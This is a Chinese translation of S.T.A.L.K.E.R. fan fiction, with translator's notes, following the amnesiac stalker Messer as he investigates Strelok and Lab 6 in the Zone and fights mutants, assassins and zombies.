“好吧,我明白了。”(“我什么都没明白!如果你们和当兵的合作,直接把我交给他们不是更简单吗?难道我真的是个如此暧昧的人物?难道真的有人对我寄予特别的希望?那至少该猜猜是什么希望才好……”)


又是奔跑。那些认为潜行者就是获取神器的人是错的。潜行者是奔跑的人。潜行者跑向哪里?还不都一样。重要的是,只要他跑,他就活着!

不过,梅塞尔知道跑向哪里。早先他们组在废料场边缘发现并消灭了一只肉块(一种卑鄙的变种,它最喜欢的消遣是追逐受伤手无寸铁的人,其余时间津津有味地吃老鼠)的时候,独狼联系了梅塞尔,暗示“酒吧‘潜行者’”已经等了梅塞尔很久。为什么特异区中心潜行者聚集的地方叫酒吧,很难解释。至少独狼没能回答这个问题;很可能是对现已遗忘的某种传统的致敬。实际上,那是个类似中立领土的地方,即使是敌对帮派的潜行者也能见面。绰号“老鼠”的老板警惕地监视着,不让任何人胆敢在他地盘上用武器。门外——请便,哪怕互相咬断喉咙。老鼠的声望在特异区流传——很多人不喜欢他,但大多数尊重他。

虽然他们在那里等梅塞尔,但也不希望他空着手来,独狼暗示在黑暗山谷地区有个有趣的房子,老鼠对那里可能存在的文件非常感兴趣。这些“战利品”将成为梅塞尔进入精英俱乐部的通行证,他将自动跻身有经验的潜行者之列。虽然……他要这个“俱乐部”有什么用……但也许在那里他能弄到一点点关于……他自己的信息。

不过,还有另一种可能。毕竟梅塞尔带着他奇怪的历史,突然被卷入了同样奇怪的政治斗争。你看,“杀手”们也想要他什么。难道关于“三度复活者”的传说是真的?那么他至少还得再在死亡卡车里坐两次……或者他“第一次平凡的出生”也算数?而且他,一个本质上普通的人,怎么能改变特异区这样的巨兽中发生的任何事?不管怎样,老鼠可能在进行他自己特殊的游戏,把梅塞尔当作交换筹码或过路卒。

但还有他在车库里发现的另一件东西,间接指向黑暗山谷。车库的巨大空间里塞满了各种被遗弃的设备。仔细搜查后,梅塞尔在其中一辆早已报废的卡车的杂物箱里发现了一张行程单。一张脏兮兮的皱纸没有引起任何人的注意。那辆卡车负责从农业研究所向第6号实验室运送某种称为“8号装置零件”的货物,而那个实验室位于黑暗山谷某处。这有秘密的味道,有秘密就有当兵的,有当兵的就该期待麻烦!也许那些死去的当兵的在死之前正是在这里寻找这些可能暴露他们前任的黑暗勾当的痕迹,自然是为了把它们小心地抹去。而且车库里有人在墙上草草地写了:“杀死史特烈洛克!”。这是否意味着军方潜行者在追捕那个未知的史特烈洛克?还是写字的人杀了他们?又是谁(或什么)杀了他们?

史特烈洛克到底是什么人?他梅塞尔又和这一切有什么关联?


5. 第3层。可能的分支。补充信息。

权衡了所有利弊,出于内心矛盾,梅塞尔选择了“农业研究所”作为近期目标。他潜意识里明白在那里他不会找到任何实质性的东西,但另一方面……为了以后不错失机会……人类的永恒敌人总是要么耳语诱人的谎言,要么可疑的无法存活的真相,巧妙地在这些面具下洗出完全意想不到的本质。无论你多么努力去猜测哪个是哪个,与生活玩扑克几乎总是个不讨好的差事。

他已经用小跑跑了很久,敏锐地倾听着自己的感觉。最近他学会了更多相信感觉而不是感情。人类的感情是欺骗性的,何况感觉通道很少。既看不见辐射,也无法从远处感觉到引力异常。而感觉——模糊的、难以捉摸的、像在浓雾中捉迷藏——已经不止一次救了他。无论是他跑着绕过废墟下隐藏的生物废料坑时,还是潜伏的吸血鬼在伏击他,而他在最后一刻改变了路线时,还是他遇到滴答的淹死鬼时……

但对感觉的依赖突然改变了他的世界观。现在梅塞尔越来越觉得周围的世界只是某种布景,发生在他身上的事是场游戏。事实上,一切都完全不同,不好也不坏,就是不同。


一声闷闷的呼叫信号把梅塞尔从无用的自责中拉了出来,他拿出便携电脑,打开身份识别模块:方圆3公里内有三个潜行者。他自己。一个叫霍普利特的“自由猎人”小伙子。梅塞尔曾偶然遇到过他——一个年轻代表,属于现在已经几乎绝迹的“大师D的学徒”帮派。他读了很多多愁善感的垃圾,然后闯进了特异区。他肯定活不长。背上背着一把用来屠宰大牲口的大得离谱的刀(他自豪地称之为精灵剑)、一把愚蠢的弩、口袋里装满各种恶臭东西做的据说有疗效的酊剂、脖子上挂着一根链子吊着某个夜壶的碎片(护身符!!!我见过这样的护身符……),这样在特异区是晃悠不了多久的。真奇怪他怎么到现在还没被任何人或任何东西吃掉……第三个被识别的人自称“螺钉”。梅塞尔命运还没与他相遇。

呼叫梅塞尔的是霍普利特。准确地说,他在呼叫所有他能联系到的人,向空间发送着古老如世界的SOS信号。

梅塞尔在键盘上快速敲出“来了”,然后又跑起来。新的路线偏离了农业研究所的方向,但毕竟可惜那个傻瓜。而特异区,它哪也去不了,唉……


老远梅塞尔就看到了霍普利特在废料场边缘的住所,一个架在电线杆上的巨大乌鸦巢。快到藏身处时,霍普利特软绵绵地吊在半空。他身上无数撕裂的伤口渗出粘稠的深色血液,滴落在地上。静脉血——还好,至少比可能的情况好。而周围的地面上铺着一层灰色蠕动老鼠的地毯。

根据伤口的数量和性质,这个傻瓜可能遇到了吸血鬼。如果再吊一会儿,连老鼠都不需要了——他会失血而死,然后老鼠完成当地的“进化”过程,啃得片甲不留。只有护身符(救不了命,但老鼠不会吃它)才能找到这个不安分的奇幻爱好者的安息之地。

梅塞尔不慌不忙地走近因血味而狂喜的老鼠,从肩上卸下背包,拿出一个瓷制圆柱体,然后从裤子上解下皮带。

“奇怪,我不知道自己怎么、何时到了这里,但完全清楚该做什么,”梅塞尔把皮带一端缠在手腕上,另一端握在拳中,在形成的环中小心地放好圆柱体。然后他旋转起这个即兴的投石器,把圆柱体朝支撑霍普利特巢穴的一根柱子扔去。圆柱体像生鸡蛋一样裂开;这种感觉因与碎片一起向四面八方飞溅的银色粘滑脏东西而更加强烈。几滴滴到了霍普利特软绵绵的身体上,他抽搐了一下。说明还活着。忍着点!

但脏东西对老鼠的影响更惊人。它们仿佛疯了,一部分试图匆忙撤退,但其余的则带着狂暴和残忍扑向那些可怜的叛逃者。瞬间,灰色地毯皱成一团,变成深红色,变成了一个吞噬自身的血肉之球……

是啊,凝胶对老鼠的效果是万无一失的。可惜梅塞尔只有一个满的圆柱体。收集凝胶并不容易,而且价格不菲。

爬上柱子进入霍普利特的“乌鸦巢”,梅塞尔把绳子固定在上面,然后下降到霍普利特吊着的水平。近看,他情况更糟。把失去知觉的身体和自己绑在一起,梅塞尔骂骂咧咧地爬了上去。

把小屋地上的霍普利特摊开后,梅塞尔又在背包里翻了翻,拿出一个厚塑料袋,往手心里倒出一些大颗的黑色闪亮大头针。切开霍普利特胸前仍未清醒的连体服,梅塞尔小心地把黑色大头针以相等距离扎进他的皮下。几乎立刻,开放伤口里的血液变暗并迅速凝结,伤口本身也开始愈合。

霍普利特抽搐地抽噎了一下,睁开眼睛。

“吸血鬼,混蛋……没留意……在我追肉块的时候……它从背后靠近……”他皱着眉头小声说。

“别说话。保存体力,”梅塞尔把剩下的“大头针”倒回袋子,藏进背包。在“巢”里站着不舒服,霍普利特占据了作为地板的整个空间,而梅塞尔的头则顶在当作屋顶的生锈扭曲的铁皮上。“我不会和你坐太久。一小时后你把大头针取下来。然后睡上六小时,你会像新的一样……”

“我知道,谢谢……多少……我该付你?”

“从你身上能拿什么。”

“特异区里的利他主义者活不长。”

“我不是利他主义者。也许有一天我也会处于类似境地……”

“他们说你……”

“撒谎。”

“别打断。我现在给你特异区特别珍视的东西:信息。如果他们关于你的传言是真的……你可能不知道,这里出过这么一件事……”霍普利特狂热地眨着眼睛小声说,“孩子们……”

“什么孩子?孩子们与这有什么关系?!”

“……那是……三年前,所有邻近居民点的孩子一天早上都走进了特异区。或者被运走了……那还是在与外部世界失去联系之前。当局掩盖了这件事。有个小伙子试图处理这件事……这里大家都叫他记者……”

“看来这家伙在说胡话!……”

(……一个小偏僻城镇,一个潜行者走在僵尸群中的街道上,喂他们,问他们什么,记下他们小声说的话:“记者好人……记者不会欺负我们……”)

……天哪,这从哪来的?为什么是记者?什么记者?我还缺个记者。至少先搞清楚史特烈洛克的事!梅塞尔疯狂地摇了摇头,驱散幻觉。

“……我曾见过他一次……他说孩子们进入了特异区深处。他要么雇了一个叫史特烈洛克的专家,要么后来他自己也因此得名……总之,他与那个史特烈洛克有关……”

“又是史特烈洛克!”

“……然后这个史特烈洛克也进入了特异区深处。但起初记者在农业研究所找过什么……文件……我也有……而他们说你也在找史特烈洛克?”

“撒谎!”梅塞尔肯定地说。

“好吧,随你便,”霍普利特小声说了一声,沉默下来,闭上了眼睛。

看来他生气了。可惜。他显然知道的比他说的多。好吧,梅塞尔在从农业研究所回来的路上再问他也不迟。

梅塞尔耸耸肩,开始往下爬……


透过遗忘的雾霭,突然浮出一个幻象,要么是残缺记忆的反射,要么是成熟强大妄想的爆发。

空旷的小城里,两个人手牵手走着——一个成年男人和一个孩子,只能看到背影。孩子抬起头问男人:“大家真叫你史特烈洛克吗?” 成年人来不及回答——大风暴开始了。孩子的脸扭曲变形,变成怪物的脸,他发出可怕的笑声跑开了……

这次,已经发生过一次的幻象获得了另一个此前隐藏的意义。

梅塞尔努力把它赶走,试图专注于现实。

研究所的建筑非常不起眼。一个典型的官僚机构喜欢筑巢的建筑。破旧的房间,坑坑洼洼的楼梯。现在看起来完全不可思议,这里曾有过沸腾的生活,燃烧着激情。有人不顾原则试图升职,女人希望安排自己的个人生活,有人沉浸在屈辱中,荒谬地希望奇迹会发生,所有的痛苦终有一天会得到回报。这个研究所的具体活动没有在这个官僚荒诞的避难所上留下丝毫痕迹。撤离时,大部分家具被运走,但部分无处不在、灵活的文件(除了那些显然和家具一起运走的,以及那些被烧毁的——梅塞尔在院子里看到了这场自焚的痕迹)从官僚的顽固爪子中背叛地溜走了。现在在最意想不到的地方可以看到这些——空房间中央、楼梯下——单个“受惊”的文件缩在最暗的角落。到处都白着这种独特的“墓碑”,纪念着过早逝去的伪智力活动。

梅塞尔弯腰去捡最近的一份,但没能拿起来——角落安静躺着的椅子碎片动了,在梅塞尔来得及做任何事之前,砸到了他的背上。然后一个花盆碎片直接打在他脸上。梅塞尔一只手护着头,后退着,同时另一只手试图从肩上摘下步枪。他不止一次告诫过自己——不要陷入致命的哲学思考,不要放松,因为在特异区这有时等于死刑。但特异区仍然时不时地领先一步。

最后,他拿到了步枪,朝最暗的角落胡乱开了一枪。一声尖叫宣告击中目标。现身的吵闹鬼用爪子捂着肩上的伤口,但不像往常那样,它完全不打算撤退,继续惨烈地叫喊。

梅塞尔不理它,开始匆忙从地板上捡起碰到的第一张纸塞进怀里。他明白吵闹鬼不寻常的行为背后隐藏着什么,但究竟是什么呢?无论如何,时间紧迫。有趣,这次特异区给他准备了什么?

不过,几分钟后一切变得清晰。在走廊尽头,出现了一种奇怪的、越来越响的隆隆声,然后一个杂乱无章的浪潮,轰鸣着、震动着,直冲着惊呆的梅塞尔而来。那里有家具碎片、一些箱子、办公用品,甚至还有两个小型装甲保险柜。

“我的天!这么大的东西,只有一个吵闹鬼绝不可能移动这些东西。除非有一整窝它们。它们会用这雪崩把我埋掉。经历了这么多,在这么多的磨难中幸存下来,却在这堆官僚附件下死在这个垃圾堆里。绝对不行!撤退更明智!”梅塞尔冲向出口。在开阔地带他感到更平静。吵闹鬼把他赶出大楼后,似乎也平静了下来。显然,它们把空旷研究所的走廊当作了自己的家,把敌人从墙内赶走后便安静下来。

梅塞尔快速浏览了搞到的文件。他并不指望看到什么特别有趣的东西。但在一两份中,他看到了“黑暗山谷”、“原料供应”和“接收6号实验室废料”等短语。只有一份文件值得关注,其中提到一个国际实验(开发者团队包括来自不同国家的人)。梅塞尔没有理解实验的本质,只清楚一点:这一切都与遗传学有关,而且显然不是指植物,尽管人们可能会期望农业研究所涉及植物。甚至可能也不是动物,尽管在整个文件中,这个主题被羞涩地称为“受到强烈突变影响的初始材料”。

其实,这里已经没什么可做的了。更别提吵闹鬼引起的骚动引来远方瞎狗不安的嚎叫。不过,根据声音判断,它们还远在七百米外,梅塞尔决定不冒险。

只剩下看看死去的军方潜行者地图上的叉标记着什么了。那是一个曾经是商店的地方。起码这一点他走运——与梅塞尔不同,它肯定“记得”它上辈子是什么。剩下的印象是,变异野猪定期在此聚会,节目包括求偶游戏、争夺兽群霸权的疯狂雄性打斗,以及在各楼层和地下室进行训练式的迁徙急行军。但在这片混乱中,梅塞尔还是找到了一个有趣的细节,甚至两个。走廊墙上用碎砖刻的“史特烈洛克”一词,以及几乎完全烧毁的地下室中被炸毁的保险柜。地下室里还有四具烧焦的尸体,但他们的状况使得它们完全没有信息价值。至于保险柜……显然其内容在火灾中没有受损。它几乎是处女地空,只有在爆炸撕开的侧面的凹痕上挂着一小片纸,上面可以清楚地看到两个词。一侧歪歪扭扭地写着“侏儒”,另一侧写着“……童?”。第二个词不完整——从前面的破折号处隐约猜到一个字母的存在,似乎是字母“d”(译注:或者是俄语“д”)。

现在,也许该去看看霍普利特了。似乎有一条线索值得拉一拉。


霍普利特巢穴的柱子下仍然没有老鼠,凝胶还在起作用。但霍普利特本人也不见踪影。梅塞尔仔细检查了柱子周围的土地。除了带血的老鼠碎片,没有引人注目的东西,只有一样——梅塞尔觉得他看到了一个奇怪的靴印,鞋底内侧严重磨损,主人显然非常内八字。这不可能是他的脚印,也不是霍普利特的(霍普利特的脚小得多,而且他还穿着古怪的高跟靴子——以体现他对中世纪的爱好)。

“嘿,霍普利特!”梅塞尔小声喊着,抬头向上看。

寂静。没有回应,没有声音,没有动静。

“还在睡觉?”梅塞尔想。

突然,一滴东西从上面落到他脸上。梅塞尔摸了摸脸颊——是血。

“奇怪,他的出血应该早就停了……”梅塞尔叹了口气,往手上吐了口唾沫,开始爬上柱子。

霍普利特还在原处,他一直没有取下已经完成使命的大头针,但它们明显不足以再愈合一个新的伤口。霍普利特的喉咙被割开了——从左耳到右耳。

“天哪!这个上帝的蒲公英碍着谁了?”梅塞尔本能地搜了一下死者,但有人已经在他之前做过了。霍普利特赤条条地离开了人世,就像他来到时一样。那条还没来得及拉的线索断了。


6. 第4层。通往黑暗山谷之路

……无尽空旷的走廊。敞开的门通向空办公室。空洞的回声恶意地回应着脚步声。通向地下室的楼梯。小矮人尖叫着向四面八方跑去。孩子们?侏儒?一个人身穿潜行者连体服,不理尖叫的侏儒,走近墙壁,用碎砖在墙上写:“史特烈洛克”……


梅塞尔已经在隐蔽处观察了一个奇怪的潜行者大约二十分钟,他是偶然撞见的。遵循已经形成的习惯(感谢雪貂的教训),梅塞尔试图从后方绕开潜在的伏击点。就这样,他碰到了这个躲藏的潜行者,他无疑在等什么人。梅塞尔有种感觉,他等的是自己。

有趣,谁出卖了他?这里是否有“纪律团”的味道?也许团伙头子看守犬不嫌麻烦地给某人“透露”了消息,并派他的奴仆“乌鸦眼”来跟踪。但不太可能!梅塞尔已经不是最初几天的笨瓜了,他早就能发现乌鸦眼是否在尾巴上。

但事实仍是事实:潜行者在等人。而且显然是带着杀意。

“我不仅有僵尸跟着我的足迹,还有这些人凑热闹!”

梅塞尔把敌人瞄在准星上,小声喊道:

“不是等我吧,朋友?”

潜行者是个老手,他迅速用左肘推离地面,像一根快速“香肠”一样滚向一边。他扔掉了步枪,但设法拔出左轮手枪胡乱放了一枪。梅塞尔没等第二枪,潜行者的行为让人不愿冒险。

梅塞尔只开了一枪,好斗的潜行者就安静了,左臂不自然地压在身下,倒在他自己扬起的灰尘云中。灰尘落在他还很年轻的脸上,滞留在皱纹里,迅速老化着特异区的又一个祭品。最重要的是,灰尘落在眼球上,遮蔽了光泽,无可辩驳地证明了它们的主人已死。

梅塞尔走过去,搜查了尸体。没有具体的东西,但袋子里没有神器,使人想到死者可能不是为此才来特异区的,很可能属于杀手团。所以,有人对他梅塞尔已经下了“订单”。有趣,他究竟碍了什么厉害的人物?这时梅塞尔突然灵光一闪,他看了看死者的鞋底。果然是内侧严重磨损,活着时严重内八字!梅塞尔拿出便携电脑,用识别器扫描了周围地区。这可是职业人士会犯的严重错误!屏幕上仍然有三个点——可达半径内有三名潜行者:他梅塞尔、已死的霍普利特(这可太不消停了!死后也不得安宁)和螺钉。而且所有三个潜行者,如果相信识别器,都在同一个点。

又花了十五分钟,梅塞尔找到了藏匿点。里面自然有霍普利特和螺钉的便携电脑,因此梅塞尔击毙的潜行者极有可能就叫螺钉。当然也有一种可能,那个现在已经死了的内八字,也把那位未知的螺钉给干掉了,就像干掉可怜的霍普利特一样

除了电脑,藏匿点里还有文件。没有个性的(完全无法确定它们以前属于谁,霍普利特、螺钉还是其他人)冷漠的文件,但其内容让人不寒而栗。

……冰冷而洁净。甚至精致,因此更加荒谬,是太平间。巨大的石桌,带有排血槽。桌上躺着一个人,盖着布单。布单下露出光着的腿和右手。手臂上纹着“S.T.A.L.K.E.R.”(潜行者)。周围摆着同样的桌子,上面放着尸体。两个穿白大褂的人走进来,脸上戴着纱布口罩。其中一人掀开布单看了看说:“史特烈洛克打完了仗……”……

“他可能已经死了,但我还活着,而且随着时间的推移,想消灭我越来越困难!”梅塞尔像狗洗完澡一样抖了抖身子,甩掉困扰的幻象,咬紧牙关开始读。

有几摞文件夹。一摞标题相当平和,虽然神秘:“在长期集中引力作用下隐性性状层次变化的个别观察”。但试图理解枯燥无味的统计观察数据背后是什么时,可以得出自己的结论。这是纯粹的优生学。培育特殊品种,或者更准确地说,对邻近特异区领土的人口进行控制和选择。也许死去的霍普利特没有胡说,关于特异区之子的传说只是普通的可怕现实?

第二摞文件直接指出,第6号实验室进行了一系列与个别家畜基因改造有关的实验。并要求增加能源供应!文件日期为1986年4月15日。

第三份是某个“普里皮亚季市党委”,1975年5月的指令,关于拨出土地用于建设RD-100特殊用途设施。没有细节,但它与其他文件放在一起,意味着它也有某种意义。“市委”和“普里皮亚季”没有引起任何联想,但缩写RD隐约让人不安(译注:其实更有可能是想不起来了,进入禁区的潜行者普遍会忘记在外面的生活)。有趣,这些文件显然是霍普利特从某处搞到的,而螺钉(或别的谁)也许正是为此杀了他。或者……

突然,梅塞尔紧张起来。他警觉到,之前一直假装冷漠地盘旋在螺钉尸体上方、耐心等待梅塞尔让出场地的乌鸦,突然发出愤怒的喧闹。鸟儿显然发现了竞争对手的接近。梅塞尔藏好文件,吸取螺钉的教训,选了一个更有利的位置(这样就不可能从后方接近),躲藏起来。

等待没有持续太久,不久,视野中出现了……乌鸦眼。

“梅塞尔!别开枪!我确切知道你在这里——我侦测到了你的电脑!”

哈!他怎么没想到,活到老学到老——可老手也会遇上对面带相反螺纹的螺钉(译注:这是什么双关吗?)。由此看来,霍普利特被杀也可能不是因为文件,而是因为他们侦测到了梅塞尔向那个可怜的奇幻爱好者移动。把他干掉是为了不让他说出不该说的话——那么,这“不该说的话”一定要找到!!!这“不该说的话”很可能一点儿也不多余!

“是看守犬派你来的?”

“看门狗不在了。他被杀了。”

“你想要什么?”

“带我一起走。”

“凭什么?”

“他们说你甚至在死亡卡车之后还活了下来……”

“但这不意味着我身边的人也活了下来,”梅塞尔走出藏身处,走近乌鸦眼。“霍普利特也试图和我走得更近。”

“你杀了他?”

“不。另有好心人。”

“你走后,我们的营地被杀手团袭击了。我们击退了他们,但损失惨重……”

因此,他确实被下了“订单”。也许答案隐藏在杀手团的内部?谁给他们付钱?除掉所有与梅塞尔接触的人对谁有利(有趣,蛤蟆还活着吗?不过那家伙大概能活下来。而且甚至可能为自己找到好处)。看门狗不走运——再大的黄瓜也有适合它的三升罐子。看来梅塞尔对某人构成了威胁,只是对谁、是什么威胁?因为从他收集到的信息碎片中,没有任何有价值的东西拼凑出来。

“那么,怎么说,带上我吗?”乌鸦眼试图用他那确实有点象鸟的眼睛捕捉梅塞尔的目光。

“不!”梅塞尔生硬地拒绝,明白这个简短的词几乎肯定给小伙子签下了死刑判决。但终究,他没有义务当利他主义者。“回到你自己人那边去。现在你们谁是头?”

“野猪,”乌鸦眼颓丧地低声说。

“那肯定完蛋了,”梅塞尔想,但试图鼓励地笑笑,甚至拍了拍乌鸦眼的肩膀。但心里感觉很糟糕。


又是梦。快速沿着长走廊前进,前面是奔跑者的背影,向前,现在下楼,进地下室。侏儒(孩子们?)尖叫着向四面八方跑去……那人走近墙壁,用碎砖在上面写:史特烈洛克……


黑暗山谷的确切地址梅塞尔并不知道,就像他不知道杀手团的巢穴在哪里一样,因此朝哪个方向走都无所谓。准确地说,地址是有的,但很模糊——大约在纪律团总部以西的某个地方。据说那里有一些被废弃的军用仓库。想必那里也是个不得了的地方!记忆中不知为何浮现出对军队一种奇怪的态度。他的记忆至今仍未完全恢复。如果不算杀人与求生的技能的话。难道他在“前世”真的跟军队有什么关系?不知为何,军队在他模糊的印象中总是与……谎言联系在一起。军人面无表情的脸,以可敬的固执否认着显而易见的事实……“不,不是我们的导弹意外击落了民航客机,我们的导弹飞的是完全不同的方向,而且所有导弹都在原处”……奇怪,这从哪儿来的?这和他的梦境对不上;也许这是特异区所在之处的历史中某些零碎的片段?毕竟,总不会整个世界都是特异区吧?——或者,整个世界都是?!

如果说以前天空中几乎总盘旋着乌鸦,那么梅塞尔越往西走,天空就越是空旷。相反,路上老鼠越来越多地出现(而有老鼠的地方,就有肉块),这一切都表明附近有居住点,而且不是无人居住的那种。

这个居住点就是被遗弃的军用仓库。准确地说,几乎是遗弃的。某处冒出一缕细细的烟,有时传来叮当声或不大的谈话声。周围散落着箱子和空柴油桶。梅塞尔爬上其中一个,试图向仓库内部看去。

入口处坐着一个哨兵。他不是军人。但梅塞尔几乎百分之百肯定,面前是令人畏惧的杀手团的代表。

不知为何,看着这个懒洋洋地闷闷抽烟的放松身影,梅塞尔对自己选择的路的正确性的信心迅速融化。也许,应该再往北一点,绕过这个地方。不过,也许这个仓库和第6实验室是同一个地方。而且他不就在一个半小时前还那么坚决要找出是谁在对他身边的一切下订单吗?

忠于自己经过实践检验的战术,梅塞尔开始沿着墙慢慢移动,盘算着如何出现在哨兵背后,但突然,一个陌生的声音让他警惕起来——含糊不清的小声说声!梅塞尔躲进一堆箱子后面,开始等待。从他来的方向,出现了一个潜行者。一个奇怪的潜行者。他摇摇晃晃地走着,连体服袖子卷起,右手上清晰可见纹身——“S.T.A.L.K.E.R.”(潜行者)。

他走着,也不躲藏,要么在哼唱,要么在小声说。

梅塞尔只清晰地听到一句话:“史特烈洛克……我们需要杀死史特烈洛克,杀死梅塞尔……杀死所有人……”


7. 第4层(续)。杀手团

“可他是僵尸!”梅塞尔若有所思地看着疯狂的潜行者,而后者正惊讶地望着挡住他去路的墙。“显然是……来自死亡卡车的那一批。难道我被发现时,也像他一样?难道我现在不也像他一样——失去记忆,仿佛被编程去完成一个未知的目标?我走到哪里?为什么?”

僵尸这时灵巧地一跳,抓住墙的上缘,把自己翻到了另一边。

梅塞尔沿着墙滑到裂缝处,向院子里看去。

杀手潜行者仍然保持着同样的姿势坐在那里,但烟已经没了。他平静地看着僵尸,他的眼睛和那个疯狂潜行者的眼睛一样空洞。

而僵尸犹豫不决地停下来,在原地跺了跺脚,含糊地脱口而出:

“你是史特烈洛克?” (译注:史特烈洛克 = 枪手)

“算是吧,”杀手平静地回答,继续冷漠地看着从一只脚晃到另一只脚的僵尸。

“那我应该杀了你。”

“试试看。”

僵尸出人意料地跳了起来,但不是扑向杀手,而是扑向一边。杀手赶紧从肩上摘下步枪开枪,但僵尸像奇怪的、滑稽的“风滚草”,对于这样的大块头来说完全无法预测,迅速滚出了射击区。

看来杀手并不为事态的发展所困扰,他冷漠的脸上露出了笑容——这一切显然让他觉得有趣。他仰面倒下,消失在附近他坐着的门口。但僵尸也没耽搁,跳到最近的窗户,钻进大楼。

有一阵子很安静。然后传来一阵急促的射击声,又是安静,又一枪,一声狂野的临终尖叫。从楼上某个窗户——梅塞尔甚至没能确定是哪一扇——一个潜行者掉了下来。不是那个僵尸。另一个跑进院子,也不是僵尸,但也不是哨兵。他绕过大楼,消失在拐角处。大楼里传来简短的命令,又是射击,又一声短促的临终尖叫。梅塞尔咧嘴一笑——基本上这整个骚乱对他有利。他把步枪枪管伸进裂缝,开始等待。一扇窗户里出现了一张没有表情的苍白面孔,梅塞尔扣动了扳机。


他成功“干掉”了三个人,决定换位置——每开一枪,他被发现的概率就增加。

“这样下去,我还会喜欢上它呢!”

弯着腰,跑到石围墙(顶上只剩少数几处残存的铁丝网)拐弯处,梅塞尔小心地向墙角另一边看去。前方十步远,墙上有一个大破口……

但突然,他的眼前一黑,脚下的土地变得摇晃,楼里传来僵尸的惨嚎……

“真不是时候……”梅塞尔刚来得及想。

然后大风暴开始了……


他以前经历过两次,甚至三次,如果包括他醒来时的那次大风暴(但以前他经历过多少次?),但这次似乎特别强烈。梅塞尔甚至有几秒钟失去了知觉,但仍然没有倒下。

天变得很黑,刮起了混乱的强风,扬起尘土龙卷风,在缝隙中嚎叫得比僵尸还厉害。梅塞尔摇摇晃晃地跑到围墙的裂缝处,钻了进去,穿过一小段开阔地,闭上眼睛,跳进地下室的窗户——幸好楼里几乎所有玻璃在撤离时就被打破了。

地下室里凉爽、潮湿,比外面平静。梅塞尔背靠着凉爽的墙壁,等了一会儿,然后睁开眼睛(这种技巧缩短了视力适应昏暗的时间)。他立刻后悔了。

“还不如在外面就被打死!”

五米开外,地下室深处,站着一只切尔诺贝利狗(译注:即伪犬)。


但显然,他的死期还没到。梅塞尔精疲力竭地顺着墙滑坐到地上。为什么切尔诺贝利狗没有注意到他?关于它有很多可怕的传说:它会催眠受害者,受害者会心甘情愿地……任其宰割。不过,如果有那么多传说,就意味着有人讲述,所以“魔鬼没那么可怕”……

总之,暂且认为自己这个傻瓜目前还走运!

梅塞尔用颤抖的手从背包里拿出肉干,开始吃。大风暴后他总是食欲旺盛,但今天掺杂着毁灭的苦涩。冰冷的汗顺着他的脸淌下,但梅塞尔甚至没有注意到。

他成功地没被发现地溜上了环绕巨大空旷机库的廊台。显然,这里曾是众多战车的栖身地。现在机库几乎空了。中央燃着一堆篝火。篝火旁坐着大约六个人。更远处,从墙上伸出的混凝土横梁上,一个潜行者僵尸被倒吊着腿。坐在篝火旁的人中有一个格外突出,他的服装与其余所有人截然不同,像机器人。外骨骼的笨重结构不仅不妨碍他的动作,反而使他能以某种良好润滑的机械特有的奇异优雅移动。这显然是个军方潜行者。梅塞尔还从未见过活的军方潜行者。

“我们将支付一笔钱,让你在该地区占据领先地位,”军人响亮而清晰地说,对着其中一个“杀手”。那人摇了摇头,阴沉地问:

“难道他那么得罪你们,以至于你们准备……”

“目前还没有,但可能。”

“你们自己干不是更简单吗……”

“不简单。”

“那么,你们会继续追捕?”

“为了这种钱,我们谁都能杀!”杀手头领平静地宣布。“但保证呢?”

“第一,你们不是唯一的小组;第二,我们本可以告诉其他人,你们在哪里挖了洞。更何况,”军人哼了一声,怀疑地补充,“在今天这场马戏之后……你们整个团伙半个小时内都没能搞定一个疯僵尸……”
(译注:杀手团和僵尸杀手搏斗的戏份在 OLR 中没有体现)

“重要的是最终结果,”头领朝吊着的僵尸甩了甩头。

“是啊,”军人若有所思地拖长了声音,“重要的是最终结果。”

梅塞尔用皮肤感觉到,这句话背后隐藏着比单纯陈述事实更重大的东西。军人的不确定太明显了,而所有人都看得出这个人不习惯怀疑。

仿佛为了证实这一点,军人站起来,走向倒吊着的僵尸,蹲下……僵尸开始挣扎、呜咽,而军人用外骨骼加强的手抓住他的脖子,轻轻一捏手指,僵尸便软了下来,血混合着唾液从嘴里流出。

“该撤了,趁还没像那个不幸的家伙一样被掐死!”


8. 第5层。第6号实验室

好了,终于。看来这就是要找的第6号实验室。他难道站在解开自己秘密的门槛上了吗?最重要的是,不要陷入牛犊般的狂喜——一切分散注意力的东西都要抛开。毕竟,必须把自己的处境、这里的生活当作一场游戏。普通的游戏,比如电脑游戏,主角跑过所有走廊和角落,通过某些关卡,可以达到目标,进入最后一关,然后……嗯,总之,像游戏里一样,只有一个小的例外,他不能“保存”游戏,死了之后从“保存的”关卡重来。或者还是可以的?毕竟关于他有传说,说他是重生者,也许是三度……狗屁!没有人能重生两次。看杀手们干掉的那个僵尸。他不是没站起来、没复活吗……不过,也许下次大风暴后他会复活?

滚!愚蠢的想法!!!我明明知道,陷入哲学妄想会有什么后果。也许我上辈子是个哲学家,甚至是佛祖本人。意识到自己是个成年男人,拥有大量各种无用的知识,却完全感觉不到自己在这个世界上的位置,真是奇怪。

梅塞尔苦笑。看来,为了不因紧张而发疯,他选择了一种独特的放松方式——构建绝对疯狂的假设,同时自嘲。自嘲是伟大的!许多人类行为、活动类型——甚至“国民经济”的各个部门——如果没有一定程度的自嘲,是无法接受的。以免不知不觉地因认识到人类存在的普遍荒谬而发疯。


踏入梦寐以求的实验室的墙壁,梅塞尔感到一种法国人称之为“既视感”的强烈感觉。他肯定以前来过这里。不过,在参观了农业研究所之后,这种感觉可能是错误的,因为是由从事类似活动的国家机关的千篇一律所唤起的。

在最近拐角处的走廊里,站着一个丑陋的流口水的怪物。

……一如既往……

梅塞尔突然感到,他已经不止一次走过这条走廊、这个拐角……

……或者他不止一次梦到过?

梦确实不对劲。个别的梦像破唱片一样重复,试图唤起一些被遗忘的记忆?……

……拐角后面总是有怪物等着他。

同一个?还是只是相似?

双手反射性地举起步枪。

一枪!第二枪!第三枪……

子弹尖叫着咬进流口水的龇牙咧嘴的脸,从里面扯出大块的血肉。怪物咆哮起来,但仍然来得及吐出发磷光的唾液。灼热的疼痛波涌遍梅塞尔全身。

怪物瘫倒在他脚下。

努力不放松,梅塞尔斜眼看了看自己的肩膀。连体服在酸的作用下碳化了。肉也一样。他梅塞尔的肉!

“妈的!”梅塞尔懒洋洋地骂了一句,用健康的手在走廊墙上摸索。步枪碍事得很,但梅塞尔一刻也不敢丢下它。他确切地知道……

……记得?梦到过?……

……这里某处应该有一个藏着药品的藏匿点,再往前走廊里,第二个,有那个能射出类似等离子体的东西。

墙在手指下松动,无声地滑入地板。

梅塞尔差点来不及举起步枪。开枪!!!

